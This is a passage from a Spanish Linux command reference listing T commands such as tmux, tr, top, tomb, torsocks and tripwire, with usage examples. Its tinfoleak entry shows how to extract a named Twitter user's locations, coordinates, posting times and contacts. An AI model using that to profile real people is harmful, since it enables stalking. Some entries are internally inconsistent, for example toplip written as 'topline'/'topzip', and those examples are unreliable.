$ test -d archivo; echo $? (Devuelve 0 si existe y es un directorio)
$ test -s archivo; echo $? (Devuelve 0 si archivo existe y tiene un tamaño mayor que 0)
$ test archivo -nt archivo2; echo $? (Devuelve 0 si archivo se ha modificado con
    posterioridad a archivo2)
$ test archivo -ot archivo2; echo $? (Devuelve 0 si archivo se ha modificado con
    anterioridad a archivo2)
```

Sobre caracteres numéricos:

```
$ test $int1 -eq $int2; echo $? (Devuelve 0 si los enteros son iguales)
$ test $int1 -ne $int2; echo $? (Devuelve 0 si los enteros NO son iguales)
$ test $int1 -lt $int2; echo $? (Devuelve 0 si int1 es menor que int2)
$ test $int1 -le $int2; echo $? (Devuelve 0 si int1 es menor o igual que int2)
$ test $int1 -gt $int2; echo $? (Devuelve 0 si int1 es mayor estricto que int2)
$ test $int1 -ge $int2; echo $? (Devuelve 0 si int1 es mayor o igual que int2)
```

Sobre strings:

```
$ DIR=home; test $string; echo $? (Devuelve 0 si la cadena no es nula)
$ test -z $DIR; echo $? (Devuelve 0 si la longitud del string es 0)
$ test -n $DIR; echo $? (Devuelve 0 si la longitud del string NO es 0)
```

## testdisk

[photorec]. Escaneo y reparación de particiones.

```
$ testdisk /list

Muestra todas las particiones incluso las no montadas
```

## texi2html

Pasar archivos infotex a html.

```
$ texi2html archivo.texi
```

## tfortune

Al igual que fortune, tfortune es una utilidad que imprime un epigrama aleatorio en inglés.

```
$ tfortuna print
```

## thefuck

Muestra a partir de una serie de reglas de coincidencia algun comando que se ha escrito mal en la terminal o del que solo se han escrito unas letras puestas. Una vez puesta la posible coincidencia, con "intro" se acepta, con las flechas muestras otras posibles coincidencias y con C-c se aborta.

```
$ thefuck hp-s
```

```
$ thefuck mkder
```

## themonospot

Aplicación para escanear archivos .avi o .mkv para obtener información sobre el flujo de datos de audio y video. Esta aplicación nos dirá el codec usado, la calidad del audio, resolución, etc

```
$ themonospot video.avi
```

## thermald

Demonio que monitorea y controla la temperatura en portátiles y tabletas con las últimas versiones de CPU de Intel. Una vez que la temperatura del sistema alcanza un cierto umbral, el daemon activa varios métodos de enfriamiento.

## thunar

Escritorio.

```
$ thunar -B
```

Con varios ficheros seleccionados, al pulsar F2 se abre la ventana para renombrarlos

```
$ thunar-volman-settings
```

Abre el gestor de medios extraíbles

1.-

Modificar el tema de iconos por defecto:

Descomprimir la carpeta de iconos y moverla:

```
# mv GartoonRedux /usr/share/icons
```

Editar o crear el archivo:

```
$ nano .gtkrc-2.0
```

Y modificar o añadir la línea:

```
gtk-icon-theme-name = "GartoonRedux"
```

Al abrir nuevamente thunar, se muestran los cambios.

2.-

Para habilitar el automontado de dispositivos, además de configurarlo en las propiedades, en algunas distros se precisan los paquetes gvfs gvfs-afc

3.-

Para incluir en el menú contextual la opción "Abrir como root", en "editar/Configurar acciones personalizadas", "añadir" [+] y en la pestaña "Basico" colocar en el cuadro de diálogo:

```
nombre: Abrir directorio como root
descripcion: Abrir directorio con privilegios de root
comando: gksu thunar %f
icono: opcional
```

Y en la pestaña "condiciones generales":

```
Patrón de archivos: *
```

```
Aparece si la selección contiene: Macamos la casilla de directorio y la de archivo
```

## thunderbird

Cliente de mensajería. Algunos atajos:

```
f (Ir al siguiente mensaje)
b (Ir al mensaje anterior)
n (Ir al siguiente mensaje no leído)
p (Ir al anterior mensaje no leído)
m (Marcar mensaje como leído)
j (Eliminar mensaje como basura)
F6 (Alternar entre los tres paneles)
F8 (Expandir/desexpandir el panel del listado de mensajes)
Ctrl m (Redactar mensaje)
Ctrl Enter (Enviar mensaje)
Ctrl + (Aumentar tamaño del texto)
Ctrl - (Reducir el tamaño del texto)
Ctrl 0 (Restaurar el tamaño del texto)
Ctrl o (Abrir mensaje en una nueva ventana)
Ctrl w (Cerrar ventana)
Ctrl r (Responder al mensaje al remitente)
Ctrl q (Salir)
```

## tidy

Validación y corrección de archivos html

```
$ tidy fichero.html
Analiza el código del fichero
```

```
$ tidy -m fichero.html
Corrige, modificándolo, el código del fichero
```

```
$ tidy -m -asxml fichero.html
Convierte un html a xml
```

```
$ tidy -m -asxhtml fichero.html
Convierte un html a xhtml
```

```
$ tidy -m -ashtml fichero.xhtml
Convierte un xhtml a html
```

## tiger

Chequear vulnerabilidades del sistema. Informe en /var/log/tiger

```
# tiger
Sin parámetros, escanea todo el sistema
```

```
# tiger -H -l /home/user/logs
crear un html con los resultados y guardarlo en el directorio logs
```

## tightvncserver

(En el cliente: xtightvncviewer). Conexión remota.

En el Servidor:

```
# tightvncserver -depth 16 -geometry 640x480
```

En el Cliente:

```
$ xtightvncviewer
```

Nota.- Sale una caja de texto donde entrar la ip o nombre del host y otra para ingresar la clave.

## T

---

### tilix

Emulador de terminal en mosaico.

```
$ tilix --quake
usar tilix como una terminal desplegable
```

```
$ tilix -a session-add-right -x sudo apt update
iniciar dividiendo la terminal a la derecha [a] y ejecutar [x] "apt update"
```

Otras opciones del parámetro "a" son:

```
sesión-add-down - Dividir la terminal por debajo
app-new-window  - Crear nueva ventana de terminal
app-new-session - Crear nueva sesión
```

### time

Devuelve el tiempo de ejecución de un comando o aplicación.

```
$ time netstat -anpt
# time nmap -sS www.tuxapuntos.com
$ time echo "scale=5000; 4*a(1)" | bc -l -q
Calcula 5000 decimales de pi para comprobar velocidad del procesador
```

### timedatectl

Informa o ajusta la hora del sistema en sistemas Linux con Systemd

```
# timedatectl status
Informa de la hora configurada mostrando el time zone, la hora universal y otros datos

# timedatectl list-timezones
consultar todas las zonas horarias

# timedatectl show
Muestra la configuración actual del reloj del sistema

# timedatectl set-time "2014-05-26 11:13:54"
Define el día y la hora de forma manual

# timedatectl set-timezone Europe/Madrid
establecer día y hora de España
```

### timelimit

Especifica una duración para un proceso o comando.

```
$ timelimit -t10 tail -f /var/log/apache2/access.log
mostrará el archivo durante 10 segundos
```

### timeout

Limita el tiempo de funcionamiento de un comando o aplicación.

```
$ timeout 60m firefox
arrancará firefox y se cerrará a los 60 minutos ["s" para segundos, "h" para horas y "d" para días]

$ timeout 0.5m top
arrancará el comando top durante 30 segundos

$ timeout -s SIGINT 6s ping google.com
enviar señal SIGINT en lugar de SIGTERM al alcanzar 6 segundos
```

## times

Muestra los tiempos de usuario y sistema acumulados para procesos ejecutados desde el interprete de comandos

## timidity

Convertir formatos de audio de midi a wav o a ogg

```
$ timidity -Ow -s 44100 -o output.wav input.mid
MIDI -> WAV
```

```
$ timidity -Og -s 44100 -o output.ogg input.mid
MIDI -> OGG
```

## tinfoleak

[tweepy]Mostrar información de twitter sobre un nick concreto. Descarga: <<http://vicenteaguileradiaz.com/tools/>>

registro en twitter:

Una vez descargada requiera registrar la aplicación en twitter y obtener una Consumer Key y Consumer secret, así como un Token Key y Token Secret, que deberemos rellenar dentro del script .py. Para ello nos loggemos en nuestra cuenta de twitter y vamos a <<https://apps.twitter.com/app/new>> y le damos un nombre personal, descripción y un sitio web tipo <http://www.algo.com>). Una vez creado aparecerá una pestaña llamada API Keys, en la que podremos obtener los valores API Key y API Secret (que son el Consumer Key y Consumer Secret, respectivamente, a rellenar en el script). Luego generar un Token Key y Token secret. Pulsar en el botón "Generate Access Token" y generará un par de valores Access Token y Access Token Secret. Con estos datos rellenamos las variables CONSUMER\_KEY = , CONSUMER\_SECRET = , ACCESS\_TOKEN = y ACCESS\_TOKEN\_SECRET = del script.

```
$ python tinfoleak.py
Ayuda y muestra parámetros
```

```
$ python tinfoleak.py -n usuario -b
Información del usuario
```

```
$ python tinfoleak.py -n usuario -stc 500
Mostrar aplicaciones usadas por el usuario analizando los últimos 500 twits
```

```
$ python tinfoleak.py -n usuario -gtc 1000
Mostrar lugar y coordenadas del usuario, incluyendo fecha y hora analizando los últimos 1000 twits
```

```
$ python tinfoleak.py -n usuario -h
Mostrar hashtags usado por el usuario analizando los últimos 100 twits
```

```
$ python tinfoleak.py -n usuario -m
Mostrar menciones de otros usuario analizando los últimos 100 twits
```

```
$ python tinfoleak.py -n usuario -f palabra
Mostrar publicaciones del usuario que incluyen la palabra especificada de los últimos 1000 twits
```

```
$ python tinfoleak.py -n usuario -bsgthmc 1000 --sdate 2014/10/01 --stime 08:00:00 -etime 22:00:00
Mostrar información básica del usuario, apps, hashtags usados, menciones, coordenadas, fecha y hora de cada twit, analizando los últimos 1000 twits desde la fecha especificada y en la franja horaria de 8 a 22 horas
```



## T

### tinyproxy

Crear un proxy HTTP. editar el archivo de configuración:

```
# nano /etc/tinyproxy/tinyproxy.conf
```

descomentar las lineas:

```
Allow 127.0.0.1 (Si solo queremos conexión en nuestra máquina)
Port 5023 (modificar el puerto). Por defecto 8888)
DisableViaHeader Yes (Desactivar la cabecera)
```

```
# etc/init.d/tinyproxy restart
Reiniciar el servicio
```

Los errores se almacenan en /var/log/tinyproxy/tinyproxy.log

Cuando se quiera usar con el navegador entrar los datos del proxy en Opciones -- Avanzado -- Red

### tiptop

Herramienta que proporciona una vista dinámica en tiempo real de las tareas que se ejecutan en el sistema. A menos que tiptop sea ejecutado por root, el usuario solo puede monitorear las tareas que posee.

```
$ tiptop
arrancar el monitoreo. "q" para cerrar
```

```
# tiptop -u USER
las de un usuario
```

### tldr

Muestra información de un comando como las páginas man pero más simplificada, como si fueran versiones resumidas de man con más ejemplos.

```
$ tldr --update
primero despues de instalarla, recargar la base de datos y lanzarlo periodicamente
```

```
$ tldr comando
```

```
$ tldr -l
listar
```

```
$ tldr --color auto tar
```

### tleds

Monitoreo del tráfico de red con los leds del teclado. Si el teclado posee los 3 leds de arriba del teclado numérico puede simularse las luces del router con esta aplicación.

```
# tleds -d 10 wlan0
con actualización cada 10 milisegundos
```

```
# tleds -q -c -d 25 eth0
```

### tload

Muestra el promedio de carga en el terminal en forma de dibujos de caracteres.

```
$ tload -d 2
Con actualización cada 2 segundos
```

## tlp

herramienta avanzada de administración de energía para Linux. Viene con una configuración predeterminada ya optimizada para la duración de la batería. Al mismo tiempo es altamente personalizable. Puede habilitar o deshabilitar los dispositivos de radio bluetooth, WiFi y WWAN al iniciar el sistema.

```
# tlp start
iniciar la herramienta
```

```
# tlp-stat -b
información de la batería
```

```
# tlp-stat -s
consultar estado
```

```
# tlp-stat -c
mostrar configuración
```

Otras opciones:

```
-u (Información de los dispositivos)
-g (de los gráficos)
-r (de la radio)
-t (temperaturas)
-w (errores)
```

## tmpfs

Permite asignar parte de la memoria física para ser utilizada como una partición lo que permite una vez montada, leer o escribir archivos de la RAM como si de una partición de disco se tratara. Dado que se está escribiendo en la memoria RAM del sistema, esta se borra en un reinicio o en un cuelgue. Relacionado con ramfs [ver], se diferencia de este en que tmpfs usa swap y que no permite escribir más que el tamaño que se ha especificado en el montaje. El proceso:

```
# mkdir /media/tmp
```

```
# mount -t tmpfs -o size=20m tmpfs /media/tmp
```

Comprobar con `df -k [ver]` o `mount [ver]` su correcto montaje

## tmux

Terminal multiplexor

```
$ tmux
lanzar la aplicación
```

```
$ tmux ls
listar las sesiones tmux abiertas
```

```
$ tmux attach -t 0
sincronizarse con la sesión 0 [attach] en local o en remoto via ssh
```

```
$ tmux rename-session -t 0 tty1
renombrar la sesión 0 a tty1
```

```
$ tmux kill-window -t 2
matar una ventana con el número 2
```

```
$ tmux kill-session -t 2
matar una sesión con el número 2
```

```
$ tmux new-session -s hack_wifi
abrir sesión con un nombre
```

```
$ tmux new-session -d 'htop'
lanzar un comando en una nueva sesión sin unirse a ella
```

```
$ tmux list-commands
listar la sintaxis de todos los comandos soportados
```

```
$ tmux list-keys
listado de todas las teclas de control
```

```
$ tmux new-session -d 'vi /etc/apt/sources.list' \; split-window -d 'newsbeuter' \; attach
arrancar una sesión tmux con el sources.list en el panel superior y con el lector RSS newsbeuter en el inferior
```

```
$ tmux new-session \; split-window \; split-window -h \; split-window -v \; attach
Arrancar la aplicación con varios panels horizontales y verticales
```

Atajos:

```
Ctrl+b c (Crear una nueva ventana)
Ctrl+b d (Salir de tmux actual (detach) sin cerrar sesión)
Ctrl+b n (Ir a la ventana siguiente)
Ctrl+b p (Ir a la ventana anterior)
Ctrl+b & (Matar la ventana actual, incluye todos los paneles)
Ctrl+b x (Matar panel actual)
Ctrl+b , (cambiar el nombre de la ventana actual )
Ctrl+b % (Dividir verticalmente la ventana actual en dos paneles)
Ctrl+b " (Dividir horizontalmente la ventana actual en dos paneles)
Ctrl+b q (Mostrar brevemente los números de cada panel)
Ctrl+b o (Cambiar al siguiente panel)
Ctrl+b ? (Lista todas las combinaciones de teclas de control)
Ctrl+b w (Lista todas las ventanas)
Ctrl+b núm (Moverse a la ventana seleccionada (0-9). No al panel)
Ctrl+b up (Ir al panel de encima)
Ctrl+b down (Ir al panel de abajo)
Ctrl+b left (Ir al panel de la izquierda)
Ctrl+b right (Ir al panel de la derecha)
Ctrl+b t (Muestra en el panel un reloj digital)
Ctrl+b s (Elegir sesión)
Ctrl+b [ (Entra en modo scroll con la teclas del cursor. Termina pulsando q)

1.-
```

Muestra para colorear los paneles:

Crear en el directorio personal el archivo oculto:

```
$ touch .tmux.conf
```

Con el siguiente contenido [modificar al gusto]

```
# default statusbar colors
set -g status-fg colour136
set -g status-bg colour235
set -g status-attr default
# default window title colors
setw -g window-status-fg colour244
setw -g window-status-bg default
setw -g window-status-attr dim
# active window title colors
setw -g window-status-current-fg colour166
setw -g window-status-current-bg default
#setw -g window-status-current-attr bright
setw -g window-status-current-attr underscore
# panel border
set-option -g pane-border-fg white #base02
set-option -g pane-active-border-fg colour46 #base01
# command/message line colors
set -g message-fg white
set -g message-bg black
set -g message-attr bright
# pane number display
set-option -g display-panes-active-colour colour33 #blue
set-option -g display-panes-colour colour166 #orange
# clock
set-window-option -g clock-mode-colour colour64 #green
```

## tmuxinator

gema de ruby que permite definir pestañas, páneles y comandos que correrán en cada uno de los paneles de una sesión tmux. Cada proyecto guarda su configuración en un archivo .yaml en el directorio ~/.tmuxinator. En el archivo .bashrc ha de constar la variable \$EDITOR [export EDITOR=/usr/bin/vim, nano o el que sea]

```
$ tmuxinator new proyecto1 (Crear un proyecto)
$ tmuxinator proyecto1 (Abrir un proyecto)
$ tmuxinator open proyecto1 (Editar un proyecto)
$ tmuxinator list (Listar todos los proyectos)
$ tmuxinator delete proyecto1 (Suprimir un proyecto)
$ tmuxinator doctor (Ver problemas en la configuración)
$ tmuxinator implode (Suprimir todos los proyectos)

Muestra de un archivo.yaml:
```

```
name: proyecto1
root: ~/
  windows:
    - editor:
      layout: main-vertical
      panes:
        - top
        - who; pwd
```

## toe

Enumera todos los tipos de terminal disponibles por nombre principal con descripciones.

```
$ toe -a -s
informe sobre todas las bases de datos de terminal y una columna con entradas pertenecientes a una
base de datos de terminal determinada.
```

## toilet

(figlet mejorado). Edición de banners

```
$ toilet -f future -F gay texto
$ toilet -t -f smblock -F metal -E html texto
```

Opciones

-f bigmono12 (Otras fuentes: bigmono9, circle, emboss, emboss2, future, mono12, mono9, smblock, smbaille, smmono12, smmono9)

-F gay (filtro "gay" o "metal")

-E html (Saca en formato en html para su inclusión en una web)

-t (se adapta al ancho de la terminal)

-S (letras más juntas. Por defecto es -s)

-o (más juntas)

## tomb

Encriptar directorios. Por seguridad ha de desactivarse la partición swap (intercambio) antes de crear la tumba o al acceder a ella a menos que tengamos la swap encriptada.

```
# swapoff -a
swapon para activarla nuevamente
```

En algunas distros es necesario activar el demonio:

## T

```
# /etc/init.d/cryptdisks start
```

```
# tomb create -s 1024 --ignore-swap cripta
Crear el directorio encriptado .tomb y el de la clave .key, especificando medida. Pedirá contraseña y confirmación.
```

```
# tomb-open cripta.tomb
Abrir el directorio encriptado cuando .tomb y .key estan en el mismo directorio. Lo montará en /media/tumba.tomb
```

```
# tomb -k /root/cripta.tomb.key open cripta.tomb (Montar el directorio encriptado cuando .key está en otro directorio [/root])
```

```
# tomb close cripta
Cerrar el directorio. En realidad desmontarlo
```

## toot

Cliente de la red social de microblogging Mastodon libre y descentralizada similar a Twitter.

```
$ toot --help
muestra todos los comando que pueden utilizarse
```

```
$ toot bookmark --help
información de un comando concreto
```

```
$ toot login
pulsar intro a las preguntas y cuando abra el navegador autorizamos, copiamos el codigo y lo pegamos en la terminal
```

```
$ toot tui
comenzar uso de la red social
```

```
$ toot auth
mostrar cuentas e instancias conectadas
```

```
$ toot post "Texto que se envia"
```

```
$ toot post -m $HOME/Images/gnu.png "Texto adjunto a la imagen"
```

```
$ toot search otro-usuario
buscar un usuario
```

```
$ toot timeline
muestra las publicaciones más recientes
```

```
$ toot delete
borrar estado
```

```
$ toot notifications
ver notificaciones del usuario logueado
```

```
$ toot whois @usuario
información del perfil de @usuario
```

```
$ toot logout
cerrar sesión y eliminar claves de acceso almacenadas
```

## top

información sobre el estado del sistema, procesos, uso del procesador, memoria etc... en ejecucion

```
$ top | grep Tasks
Visualizar procesos abiertos incluidos los zombies
```

```
$ top -u usuario
procesos abiertos por el usuario indicado
```

```
$ top -p $(pgrep -d, yaourt)
```

## T

```
Monitorizar un proceso
```

```
$ top -p 'pgrep pidgin'
```

Monitorear un proceso

```
$ top -b -n 2 -d 2
```

En modo batch [b] que termine el comando despues de mostrar 2 procesos top [n] con un intervalo de 2 segundos [d]

Teclas de control

Ctrl + m (los ordenamos por uso de memoria)

Ctrl + c (Salir)

k (y colocar el PID correspondiente mataremos el proceso)

Z (para modificar el color. Con z se escoge el color)

n ( y colocar el número de procesos que queremos visualizar)

A (abre multiples ventanas top)

f (activa/desactiva columnas a visualizar)

o (Modifica el orden de las columnas)

G + num (del 1 al 4 cambia el modo de presentación)

W (Graba el tipo de visualización. A partir de la siguiente vez que se lance la aplicación se mostrará con los parámetros grabados)

Columnas:

PID .- Identificador

USER.- Usuario que ha ejecutado el proceso.

PR.- Prioridad

NI.- Valor nice del proceso (negativos-> mayor prioridad)

RES.- Memoria RAM ocupada por el proceso.

%CPU.- Porcentaje ocupado de la CPU

TIME+.- Cuanto tiempo lleva el proceso en el sistema.

COMMAND.- Nombre del procesos y sus parametros.

PPID.- PID del proceso padre.

UID.- ID del usuario que ha ejecutado el proceso.

## toplip

Herramienta para encriptar archivos.

```
$ topline archivo.txt
```

encriptar pero solo viendolo por terminal

```
$ topline archivo.txt > archivo.txt.cryp
```

encriptar y mardarlo a un archivo

```
$ topline -d archivo.txt.cryp > archivo.txt
```

desencriptar

```
$ topline -alt archivo1.txt archivo2.txt > archivo_global.crip
```

## T

Encriptar dos archivos en uno pero con dos contraseñas para cada archivo encriptado

```
$ topzip -d archivo_global.crip > archivov1.txt  
desencriptar si entramos la contraseña del primer archivo encriptado
```

```
$ topzip -c 2 archivo.txt > archivo.txt.crip  
encriptar un archivo con dos contraseñas
```

```
$ topzip -c 2 -d archivo.txt.crip > archivo.txt  
desencriptar un archivo con dos contraseñas
```

```
$ topzip -m imagen.jpg archivo.txt > imagen_crip.jpg
```

```
$ topzip -d imagen_crip.png > archivo.txt
```

## torify

Verificar si la navegación está torificada.

```
$ torify elinks checkip.dyndns.org
```

## tor-resolve

Resuelve direcciones IP o nombres de host via tor.

```
$ tor-resolve lapipaplana.net
```

## torsocks

Permite lanzar aplicaciones a través de la red tor para enmascarar la ip. Puede usarse indistintamente los comandos torsocks o usewithtor. Ver proxychains. Precisa tor funcionando.

```
# torsocks ssh usuario@host
```

```
# torsocks w3m ifconfig.me
```

```
# usewithtor pidgin
```

## totem

Reproductor de video

```
$ totem-video-thumbnailer -pg 30 video.mpeg salida  
Creación de una imagen formada por thumbnails de un video
```

## touch

Crea un fichero vacío

```
$ touch notas.txt
```

```
# touch /forcefsck  
crear un fichero vacío para forzar el chequeo del disco
```

```
$ touch -d "18-6-2011 17:09:24" archivo  
modificar la fecha de creación
```

```
$ touch -m archivo  
Lo mismo a la fecha actual
```

```
$ touch file{1..9} (crear los archivos del file1 al file9)
```

## T

```
$ touch file{1..9}{a..z}
Crear los archivos del filea1 al filez9
```

```
$ touch a b c d
Crear varios archivos
```

```
$ touch -c archivo
Si archivo existe no lo creará
```

```
$ touch -a archivo
modifica el último acceso al archivo. Comprobar con $ stat archivo
```

## tpp

Presentaciones en terminal.

```
--title Este_es_el_titulo      (titulo de la presentación)

--author juanito                (Autor)

--date today %d %b %Y          (fecha actual en formato dia/mes/año)

--bgcolor yellow                (color de fondo)

--fgcolor black                 (color texto. Los colores válidos son: white, yellow, red, green, blue,
cyan, magenta, black. Por defecto transparencia))

--heading inicio                (nombre de la página, centrado)

--horline                       (dibuja una línea en todo el ancho de pantalla)

--withborder                    (Marca un borde en los límites de la pantalla)

--header texto                  (Texto arriba del todo de la página)

--footer texto                  (Texto abajo del todo de la página)

--color red                     (Especifica un color de texto a partir de este punto)

--center Se_pondra_en_el_centro (El texto se centrará en la página)

--right texto                   (El texto se alineará a la derecha)

---                             (parar la presentación hasta que se clique en la barra de espacio)

--newpage                       (nueva página. Se accede pulsando cursor abajo o espacio)

--##comentario                  (comentario. No aparece en la presentación)

--sleep 5                       (Para la presentación 5 segundos. Por defecto son 3)

--huge Fin_de_la_presentacion  (Figlet generará las letras del texto)

--sethugefont big               (Los tipos de letra disponibles son los de figlet: banner, big, block, bubble,
digital, ivrit, leas, mini, mnemonic, script, shadow, slant, small, smscript, smshadow, smslant,
standard y term)

--exec fbi -vt 01 imagen.png    (Ejecuta el comando)

--beginoutput                   (crea el inicio de un marco de texto)

El_texto_que_proceda

--endoutput                     (Final del marco de texto)

--beginshelloutput              (Inicio marco de texto. Con "$" saldrá letra a letra)

$ El_texto-que-proceda
```



## T

---

--endshelloutput      (Final marco de texto)

--bZoldon              (Inicio de escritura en negrita)

El\_texto\_que\_proceda

--boldoff              (Final del uso de negrita)

--revon                (Invierte los colores de letra y fondo)

El\_texto\_que\_proceda

--revoff               (Termina la inversión)

--ulon                 (Inicio texto subrayado-??)

El\_texto\_que\_proceda

--uloff                (Final texto subrayado)

--beginslideleft      (El texto sale de izquierda a derecha)

El\_texto\_que\_proceda

--endslideleft        (Final de salida de izquierda a derecha)

--beginslideright     (El texto sale de derecha a izquierda)

El\_texto\_que\_proceda

--endslideright       (Final de salida de derecha a izquierda)

--beginslidetop       (Inicio de la salida del texto de arriba)

El\_texto\_que\_proceda

--endslidetop         (Final de salida del texto de arriba)

--beginslidebottom    (Inicio de salida del texto por abajo)

El\_texto\_que\_proceda

--endslidebottom      (Final de salida por abajo)

Teclas para desplazarse durante la presentación

espacio (visualizar página siguiente)

b (visualizar página anterior)

q (salir de tpp)

j (saltar a la página que se indique con el teclado numérico)

s (saltar a la página de inicio)

e (ir a la última página)

c (inicio de línea de comandos)

## tput

formatación de la terminal [posicionar el cursor en la pantalla, borrar datos de la pantalla, saber la cantidad de líneas y columnas de la pantalla, posicionar correctamente un campo, borrar un campo ...]

```
$ tput cols
Cantidad de columnas de la terminal
```

```
$ tput lines
Cantidad de líneas
```

```
$ tput civis
Hace invisible el cursor
```

```
$ tput cnorm
Lo vuelve visible
```

```
$ tput sgr0
vuelve la terminal a los parámetros por defecto
```

```
$ tput smcup
Borra el contenido de la terminal guardandolo
```

```
$ tput rmcup
Restablece el contenido de la terminal borrado con el comando anterior
```

## tr

Cambia caracteres de un archivo

```
$ tr JM ?$ < archivo
cambia las "J" y las "M" por "?" y "$" en todo el archivo
```

```
$ cat archivo | tr ea ?%
Cambia las "e" y "a" por "?" y "%" respectivamente
```

```
$ echo 'la pipa plena' | tr 'a-z' 'A-Z'
De minúsculas a mayúsculas
```

```
$ echo 'la pipa plena' | tr -d a
Borra las a
```

```
$ tr -d [aeiou] archivo
Borra las vocales de archivo
```

```
$ echo 'la  pipa  plena' | tr -s ' '
Borra espacios repetidos
```

```
$ echo 'la pipa plena' | tr -c 'pln' '?'
Substituye todos los caracteres por ? inclusive los espacios, menos los indicados [pln]
```

```
$ ls |tr '\t' '\n'
Substituye la tabulación vertical [\t] por salto de línea [\n]
```

```
$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 | xargs
contraseñas de 8 caracteres aleatorias
```

```
$ echo "El boxeador está OK." | tr O m | tr K a | tr . l
varios tr
```

```
$ tr " " . < archivo
substituir los espacios por puntos
```

```
$ tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=lc case,unblock | GREP_COLOR="1;32"
grep --color "[^]"
salvapantallas como matrix
```

## T

### traceroute

Permite seguir la pista de un paquete desde un host a otro.

```
# traceroute www.tuxapuntos.com
```

### trafshow

[netliag]. Es un programa interactivo que reúne el tráfico de red de todas las interfaces con capacidad de libpcap para acumularlo en la memoria caché.

```
# trafshow -R 1 -p
actualizar cada segundo y no poner en modo promiscuo
```

### tran

Herramienta que permite transliterar una palabra o una frase a otros tipos de escritura. La conversión permite comprender texto o, al menos los nombres, pero no el significado.

```
$ tran list
listado

$ echo linux es genial | tran devanagari

$ echo linux es genial | tran greek

$ echo      | tran latin
salida anterior a latin
```

### trans

[translate-shell]. Anteriormente Google Translate CLI. Es un traductor de línea de comandos impulsado por Google Translate (predeterminado), Bing Translator, Yandex.Translate y Apertium.

```
$ trans -list-all
listado de todos los lenguajes soportados

$ trans -T
ademas del listado de lenguajes soportados, su código correspondiente

$ trans -list-all
listado de lenguajes y codigos

$ trans -S
motores de traducción disponibles

$ trans -i entrada.txt -o salida.txt
especificando un archivo con el texto de entrada y que muestre la traducción en salida.txt
```

### transmission-remote-cli

Comando para conectar con un servidor de descargas de transmission y gestionarlo.

```
$ transmission-remote-cli
conectar con transmission. Mira los ajustes de .config/transmission-remote-cli/settings.cfg

$ transmission-remote-cli -f ruta/settings.cfg
especificar ruta fichero configuración

$ transmission-remote-cli --create-config
Crea un archivo de configuración de ejemplo dentro de .config/transmission-remote-cli/settings.cfg
```

## trap

Captura señales del teclado. Permite ejecutar un comando especificado cuando se produce una señal con un determinado valor.

```
$ trap -l
Lista todos los valores
```

```
$ trap "rm -f /tmp/$$ ; exit" 0 1 2 3 15 (ejecutará el rm si se produce una señal: 0 [Salida de la
shell], 1 [SIGHUP, cuelgue], 2 [SIGINT, interrupción con ^C], 3 [SIGQUIT, quiet] o 15 [SIGTERM,
terminate, señal por defecto de kill])
```

Ejemplo:

```
$ nano no_muero.sh
```

```
#!/bin/bash
trap "echo ' Aunque pulses Ctrl+C!' " INT
while true
do
sleep 60;
echo "No puedes matarme"
done
```

El script se repetirá hasta pararlo con Ctrl+z. A continuación mirar el pid

```
$ jobs
```

```
$ kill -9 %pid
```

Para matarlo definitivamente

## trash-cli

Proporciona una utilidad de papelera en línea de comandos. Recuerda el nombre, la ruta original, la fecha de eliminación y los permisos de cada archivo eliminado. Consta de varias aplicaciones trash-empty, trash-list, trash-put, trash-restore y trash-rm.

```
$ trash archivo
elimina archivo
```

```
$ trash-put archivo
lo mismo
```

```
$ trash-list
Lista los archivos eliminados
```

```
$ trash-restore
Pregunta el número del archivo a restaurar
```

```
$ trash-rm *.txt
borrar todos los txt de la papelera
```

```
$ trash-empty
Vacía la papelera
```

## tree

Lista archivos y directorios en forma de árbol.

```
$ tree -d
Sólo los directorios de la presente carpeta
```

```
$ tree -o archivo
Enviar el resultado a un archivo
```

## treil

Produce una imagen de mosaicos a partir de una estructura de árbol de un directorio.

```
$ treil -g 800x600 -o imagen.png /usr/share
```

Con una geometría determinada [g], que la imagen se guarde como imagen.png [o] y el directorio del cual crear la imagen

## trickle

Limitar la velocidad de subida/bajada

Nota.- "-d" subida y "-u" bajada

```
$ trickle -d 50 -u 30 wget http://www.genbeta.com
limitación para un solo host
```

```
$ trickled -d 50 -u 30
Lanzar la limitación como demonio con lo que todas las aplicaciones que se lancen con trickle
tendrán la limitación especificada
```

```
$ trickle wget http://www.genbeta.com
```

## trimage

Herramienta para optimizar los archivos de imagen para sitios web, utilizando optipng, pngcrush, advpng y jpegoptim, dependiendo del tipo de archivo (actualmente, los archivos PNG y JPG son compatibles). Todos los archivos de imagen se comprimen sin pérdidas en los niveles de compresión más altos disponibles y EXIF y otros metadatos se eliminan.

```
$ trimage -f image.png
un archivo
```

```
$ trimage -f *.png
varios
```

```
$ trimage -d imagenes
un directorio
```

## tripwire

Herramienta para la detección de intrusos (IDS). Tripwire es una herramienta de comprobación de la integridad del sistema que permite detectar alteraciones en los archivos.

```
# tripwire --init
iniciar el servicio
```

```
# tripwire --check
chequear el sistema
```

```
# tripwire --check /usr
chequear un directorio específico
```

```
# tripwire --update
actualizar la base de datos
```

```
# tripwire --test --email user@correo.com
realizar un test y enviarlo por correo al user
```

```
# twprint --print-report --twrfile /var/lib/tripwire/report/Debian-20191230-190624.twr > report.
txt
escribir un reporte de informe
```

## trocla

Generar contraseñas aleatorias y almacenarlas en varios formatos [normal, MD5, bcrypt] y poder recuperarlas.

```
$ trocla formats
listado de opciones
```

```
$ trocla create usuario1 plain
creará una contraseña aleatoria y almacenará su texto sin formato en la clave usuario1. La contraseña también se mostrará en la salida
```

```
$ trocla create usuario1 mysql
creará una contraseña aleatoria sha1 y estilo mysql se almacenará y mostrará su hash
```

```
$ trocla create usuario2 plain 'charset: alphanumeric'
```

```
$ trocla get usuario1 plain
devuelve la contraseña almacenada para usuario1
```

```
$ trocla delete usuario1 plain
eliminar la contraseña de usuario1 y la muestra
```

```
$ trocla create usuario1 plain 'encode: sha512crypt'
```

## true

No realiza absolutamente nada de los comandos que le siguen.

```
$ true rm *
no elimina nada
```

```
$ true ls
no lista nada
```

```
$ true nano /etc/fstab
no muestra el fstab
```

## truecrypt

Aplicación que permite cifrar sistemas de archivos enteros, generar archivos cifrados y también generar sistemas ocultos dentro de otros sistemas. Descarga de : <http://www.truecrypt.org/downloads>

Descomprimir y ejecutar:

```
$ tar xf truecrypt-7.1a-linux-console-x64.tar.gz
# ./truecrypt-7.1a-setup-console-x64
```

```
# truecrypt -t -c
por consola [t] y ejecutar por primera vez [c]. Sin el parámetro "t" abre la gui
```

```
Volume type:
 1) Normal
 2) Hidden
